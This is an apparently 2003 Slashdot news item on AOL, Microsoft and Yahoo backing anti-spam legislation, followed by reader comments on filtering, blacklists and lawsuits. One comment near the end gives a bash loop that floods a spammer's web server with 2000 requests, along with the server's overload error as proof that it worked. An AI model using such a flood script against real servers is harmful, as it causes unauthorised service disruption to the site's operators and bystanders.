AOL, MS & Yahoo Unite On Anti-Spam Initiative

dilaudid writes "FT.com has an article about AOL, Yahoo and MS putting aside their differences to combat spam. An AOL VP is quoted as saying "Our customers are telling us it is the number one problem with the internet." Their intended response is "narrowly-defined federal legislation aimed at so-called "king-pin" spammers" who send the bulk of the mails. "

Comments

You know your a scumbag when...

[bwt]

You know your a scumbag when...

Slashdotters support AOL and MS when they attempt to stomp on you.

In Other News...

[beders]

Microsoft drop Windows, and decide to give all money away to Linux kernel developers.

First a free internet and now this, do they realise that they're ment to be the bad guys?

Real "wrath of God" type stuff

[MondoMor]

Dogs and cats, living together...

[b]mass hysteria![/b]

WTF. MS et al joining together to resist fundamental changes to the internet, and AOL moving to stop SPAM.

What's next? The fall of communism?

AOL CENSORS THEIR EMAIL

[blakestah]

AOL is currently using censorship to try to solve their problem. Their customers want the ISP to stop spam, and AOL interprets this as a license to censor incoming mail for "spamness".

It never occurred to them that perhaps the customer should decide what is and is not acceptable.

This form of spam-filtering is very dangerous - when someone else decides for you who can and can not send you email.

Huh?

[IAmRenegadeX]

Did you read the article (or even the /. blurb?)

The groups said they were particularly looking for narrowly-defined federal legislation aimed at so-called "king-pin" spammers whom they believe are responsible for the largest volume and most pernicious of unwanted e-mails.

They're looking to legislate the "spam kings" to death, not block mail from them for their collective subscribers. Funny, however, that they continute to ignore "black hole" lists that are actually quite good at deleting/preventing spam.

Bullshit

[missing000]

Its obvious, but something to note, that you need to have a yahoo/aol/msn email account to see all the benefits of this anti-spam initiative.

Nope. RTFA. It clearly says the plan includes suing the hell out of the spammers. If they can't turn a profit, everyone gets less spam.

Re:Huh?

[stratjakt]

That's good. I dont want "black hole" lists at the ISP level.

I dont want providers arbitrarily deciding that some IP block can no longer send me e-mail.

Because then you wind up with some person/comittee with an agenda deciding that I can no longer get e-mail from, say, a group with an opposing point of view. If Bill Gates controlled the black hole list, maybe kernel.org shows up on it. If RMS controlled it, hotmail would show up on it.

It's a bad system, wide open to abuse. Punish the criminals, don't hinder the internet.

Great...

[$0 31337]

Now I suppose I can expect the following in my inbox:

04/28/2003 sdogin@microsoft.com Join the fight against spam!
04/28/2003 asgasg@microsoft.com Join the fight against spam!
04/28/2003 dfjdfdsagsdg@aol.com Join the fight against spam!
etc, etc, etc.

AOL, MS & Yahoo, again?

[ackthpt]

Seems it must be a sign of a new quarter or spring or moon phase. Ultimately the only way to put a stop to spamming is a few civil trials (possibly criminal, too, wire fraud, etc.) and hang a few examples out to dry. I do believe quite a few spammers are the average schmuck who thinks they can make a few quick bucks. Bust them across the knuckles and others will get the message.

Perhaps if these three got together and ran some decent television commercials which cut to the core of spam it would greatly reduce, i.e.

Would you buy questionable medications from someone who solicits you from a forged email address?

Would you consider giving your personal financial information to someone incapable of proper grammar or even good spelling?

Would you visit a site alleged to contain pr0n/child pr0n knowing your visit may be tracked?

(some percentage, like 100%) of spam is unsolicited, commits an act of trespassing, is made by people who have nothing of actual value to offer and is intent on defrauding you. Visit www.cauce.org for more information.

Sadly, these companies will trumpet how spam costs billions of dollars, but a few million on public information awareness advertising is beyond them. Hell, I don't even see anti-spam public service annoucements on MSNBC or Yahoo. Smells like more ado about nothing.

AOL anti-spam crusaders?

[jolyonr]

Great! After they've sorted out the SPAM problem maybe they can find out who the hell keeps filling my mailbox full of unwanted Internet CDs.
. . Oh.

Re:Exceptions

[Otter]

Wait, lemme guess- that "narrowly-defined" definition of "spammer" will not include internet service providers advertising their services, nor companies the ISPs have paid to spam their subscribers?

My primary email account has disappeared under an avalanche of bounces and blocks from some asshole spammer forging my domain name in everything he sends out. I'm job hunting now, and refuse to install some new untested filters that are liable to throw out something important. So I need to wade through hundreds of returned ads for streaming gay porn.

If these companies can put a stop to the total scumbags, they can include a provision that their ads can be sent over the NSA's secret high-speed network. I'll still be grateful to them.

My grandmother got porno spam within 2-3 days of her MSN "internet appliance" getting set up, and it had a very unusual account name(with numbers in it, too)- no dictionary atttack hit this one.

Maybe, but my suspicion is that you underestimate the magnitude of dictionary attacks on common domains like that. Given millions of idiots, all MSN addresses are shallow.

And if you lie about the headers?

[unfortunateson]

The spammers will claim they all fit in the personal communications requested by the recipient, and are not required to fill in all that rigamarole.

And you're right back where you started from.

No, the solution is to inform people that
a) Your body parts aren't going to get bigger (bellies excluded)
b) You really don't want to trust your finances -- even credit bailouts -- to people who'd SPAM you
c) There are no dignitaries in Nigeria that have millions of dollars they need to launder into the US, and if they did, you'd be arrested
d) There's no need to pay for porn. Go out into the big blue room and you could find someone real. Besides, there's enough free internet porn, just look.

You get SPAM because it works. People buy this crap. If they didn't, the spammers would stop.

IIS, Spammers, and a handy little shell script.

[BigBlockMopar]

Finally! The Evil Empire has thought of something truly helpful to do with the 1 trillion dollars of cash. ;-)

Well, enough spammers seem to use IIS... Maybe they could "extend" the HTTP protocol to detect whether the referring website URL was received in a spam, and use it to disable the server... :)

Until then, my little script works well enough:

#!/bin/bash
COUNT=0
while [ $COUNT -lt 2000 ]; do
lynx -dump $1?YOU_FILL_MY_MAILBOX_WITH_UNSOLICITED_CRAP_AND_I _WILL_DO_THE_SAME_TO_YOUR_WEBLOGS
let COUNT=COUNT+1
echo $COUNT
done

Note that my website includes a warning about what happens to unsolicited e-mail. Apparently, the "Order Viagra, Diet Pills & more with NO PRESCRIPTION!" people wanted to stress-test their IIS server at Beijing Telecom.

284
The page cannot be displayed
There are too many people accessing the Web site at this time.

Please try the following:
* Click the [1]Refresh button, or try again later.
* Open the home page, and then look for links to the information you want.
HTTP 403.9 - Access Forbidden: Too many users are connected
Internet Information Services
Technical Information (for support personnel)
* Background:
This error can occur if the Web server is busy and cannot process your request due to heavy traffic.
* More information:
[2]Microsoft Support
References
1. javascript:location.reload()
2. http://www.microsoft.com/ContentRedirec

Poor spammer. But then again, I'm only fulfilling his wish...